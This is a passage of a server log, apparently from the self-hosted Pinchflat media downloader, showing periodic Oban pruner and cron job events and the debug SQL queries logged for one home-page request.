{"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:49.868 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.121 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:31:19.869 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:49.871 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.122 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:32:19.873 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:49.875 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.122 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:33:19.877 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:49.879 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.124 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:34:19.881 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:49.883 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.125 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:35:19.885 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:49.886 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.126 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:36:19.888 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:49.890 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.127 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:37:19.892 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:49.894 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.128 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:38:19.896 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:49.897 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.129 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:39:19.900 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:49.901 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.130 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:40:19.903 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:49.905 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.131 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:41:19.907 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:49.908 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.132 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:42:19.911 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:49.913 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.133 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:43:19.915 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:49.916 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.135 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:44:19.918 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:49.919 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.136 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:45:19.921 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:49.923 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.137 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:46:19.925 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:49.927 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.137 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:47:19.929 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:49.930 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.139 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:48:19.932 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:49.933 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.140 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:49:19.934 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:49.935 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.141 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:50:19.936 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:49.937 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.142 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:51:19.938 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:49.939 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.143 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:52:19.940 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:49.941 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.144 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:53:19.942 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:49.943 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.145 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:54:19.944 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:49.945 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.146 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:55:19.946 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:49.947 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.147 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:56:19.948 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:49.949 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.148 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:57:19.950 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:49.951 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.149 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:58:19.952 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:49.953 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.150 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:59:19.954 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:49.955 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.151 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:00:19.956 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:49.957 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.152 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:01:19.958 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:49.959 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.153 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:02:19.960 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:49.961 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.154 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:03:19.962 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:49.963 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.155 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:04:19.964 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:49.965 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.157 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:05:19.966 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:49.967 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.157 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:06:19.968 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:49.969 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.159 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:07:19.970 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:49.971 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.160 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:08:13.332 [info] GET / 13:08:13.332 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 13:08:13.333 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1594.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:08:13.333 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1595.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 13:08:13.333 [debug] QUERY OK source="sources" db=0.1ms idle=1595.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 13:08:13.334 [debug] QUERY OK source="media_items" db=0.3ms idle=1075.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:08:13.334 [debug] QUERY OK source="media_items" db=0.2ms idle=73.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:08:13.335 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:08:13.335 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:08:13.336 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:08:13.338 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=3.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:08:13.338 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 13:08:13.340 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:08:13.341 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:08:13.342 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 13:08:13.346 [debug] QUERY OK source="media_items" db=0.7ms idle=7.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:08:13.348 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=7.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:08:13.348 [debug] QUERY OK source="sources" db=0.2ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 13:08:13.349 [info] Sent 200 in 17ms 13:08:19.972 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:49.973 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.161 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:09:19.974 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:49.975 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.162 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:10:19.977 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:49.978 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.163 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:11:19.979 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:49.980 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.165 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:12:19.981 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:49.982 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.166 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:13:19.983 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:49.984 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.167 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:14:19.985 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:49.986 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.168 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:19.988 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:49.989 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.169 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:19.990 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:49.991 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.169 [info] {"source":"oban","duration":141,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:19.992 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:49.993 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.171 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:19.994 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:49.995 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.172 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:19.996 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:49.997 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.173 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:19.998 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:49.999 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.174 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:20.000 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:50.002 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.175 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:20.003 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:50.004 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.176 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:20.005 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:50.007 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.177 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:20.008 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:50.009 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.178 [info] 